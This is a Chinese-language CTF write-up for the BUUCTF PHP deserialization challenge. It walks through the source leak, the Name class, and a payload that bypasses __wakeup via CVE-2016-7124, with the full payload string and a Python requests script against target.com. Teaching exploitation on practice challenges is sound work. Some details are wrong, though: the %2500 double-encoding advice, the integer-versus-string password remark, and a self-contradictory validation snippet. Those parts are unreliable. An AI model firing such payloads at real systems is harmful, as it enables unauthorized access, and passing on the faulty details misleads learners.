手把手教你复现BUUCTF那道经典的PHP反序列化题(绕过__wakeup拿flag)
从零攻破BUUCTF PHP反序列化漏洞:绕过__wakeup的实战艺术
当你在CTF赛场上第一次遇到PHP反序列化题目时,那种既熟悉又陌生的感觉往往让人手足无措。今天,我们就以BUUCTF平台上的经典题目"[极客大挑战 2019]PHP1"为例,带你体验一次完整的漏洞利用之旅。这不仅仅是一次解题过程,更是一次思维模式的训练——如何从黑盒测试到白盒分析,最终构造出完美的攻击payload。
1. 环境搭建与初步侦查
任何CTF挑战的第一步都是搭建实验环境。访问题目提供的Web界面,页面看似简单,但经验告诉我们,魔鬼往往藏在细节里。按下Ctrl+U查看源码是基本操作,不过这次似乎没有明显线索。
常见Web备份文件命名规律:
- www.zip
- backup.tar.gz
- source.rar
- website.bak
尝试访问/www.zip,果然下载到一个压缩包。解压后发现三个关键文件:
/www ├── flag.php # 假flag诱饵 ├── index.php # 主入口文件 └── class.php # 核心业务逻辑用代码编辑器打开index.php,关键代码片段如下:
<?php include 'class.php'; $select = $_GET['select']; $res = unserialize($select); ?>这段代码暴露出明显的反序列化入口点——通过GET参数select接收序列化数据。这正是我们要重点攻击的突破口。
2. 核心漏洞代码分析
class.php中定义了名为Name的类,包含两个关键魔术方法:
class Name { private $username = 'nonono'; private $password = 'yesyes'; function __wakeup() { $this->username = 'guest'; // 反序列化时自动执行 } function __destruct() { if ($this->password != 100) { die("密码验证失败!"); } if ($this->username === 'admin') { global $flag; echo $flag; // 目标输出点 } } }漏洞利用条件分析:
- 需要控制
$username为'admin' - 需要设置
$password为100 - 必须绕过
__wakeup()的自动重置
3. 魔术方法的执行时机深度解析
理解PHP对象生命周期是成功的关键。以下是三个关键魔术方法的触发场景:
| 魔术方法 | 触发时机 | 序列化相关特性 |
|---|---|---|
| __construct | new操作时触发 | 反序列化时不会执行 |
| __wakeup | unserialize()后立即执行 | 可被CVE-2016-7124绕过 |
| __destruct | 对象销毁时(脚本结束或unset)执行 | 通常作为漏洞触发点 |
特别需要注意的是__wakeup的绕过条件:
- PHP版本需满足:PHP5 < 5.6.25 或 PHP7 < 7.0.10
- 修改序列化字符串中对象属性数量,使其大于实际数量
4. 构造攻击Payload的完整过程
4.1 基础序列化尝试
首先创建测试脚本exploit.php:
<?php class Name { private $username = 'admin'; private $password = '100'; } echo serialize(new Name()); ?>输出结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}4.2 处理私有变量编码问题
Private变量在序列化时会包含类名前后的空字符(%00),需要特殊处理:
原始格式:
s:14:"Nameusername" → 实际应为 s:14:"%00Name%00username"修正后的序列化字符串:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}4.3 绕过__wakeup的终极Payload
应用CVE-2016-7124漏洞,将属性数量改为大于实际值(如3):
最终Payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}URL编码后(注意%00需要双重编码):
?select=O:4:"Name":3:{s:14:"%2500Name%2500username";s:5:"admin";s:14:"%2500Name%2500password";s:3:"100";}5. 实战中的常见问题排查
即使按照步骤操作,仍可能遇到各种意外情况。以下是几个典型问题及解决方案:
问题1:Payload执行后仍显示guest
- 检查PHP版本是否符合漏洞条件
- 确认属性数量修改正确(原为2,改为3或更大)
问题2:报错"unserialize(): Error at offset"
- 检查私有变量名的长度计算是否正确
- 确保%00被正确处理(在Burp Suite中可直接输入空字节)
问题3:返回空白页面
- 检查
__destruct中的条件判断 - 确认password值确实为100(整数而非字符串)
在真实CTF比赛中,我建议使用Python的requests库进行自动化测试:
import requests payload = "O:4:\"Name\":3:{s:14:\"\x00Name\x00username\";s:5:\"admin\";s:14:\"\x00Name\x00password\";s:3:\"100\";}" response = requests.get("http://target.com/index.php?select=" + payload) print(response.text)6. 防御方案与安全启示
虽然我们已经成功利用了这个漏洞,但作为负责任的安全研究者,更应该思考如何防御:
安全开发建议:
- 避免直接反序列化用户输入
- 使用json_encode/json_decode替代序列化
- 及时更新PHP版本(修复CVE-2016-7124)
- 对魔术方法中的安全逻辑进行二次验证
输入验证示例:
if (preg_match('/^[a-zA-Z0-9]+$/', $_GET['select'])) { $data = json_decode(base64_decode($_GET['select']), true); // 处理数据... } else { die('非法输入!'); }通过这道题目,我们不仅学习了一个具体的漏洞利用技术,更重要的是建立了分析PHP反序列化问题的系统思维。下次当你看到unserialize()函数时,脑海中应该立即浮现出魔术方法的执行流程、属性修饰符的影响以及版本相关的漏洞特性——这才是CTF训练带给我们的真正价值。
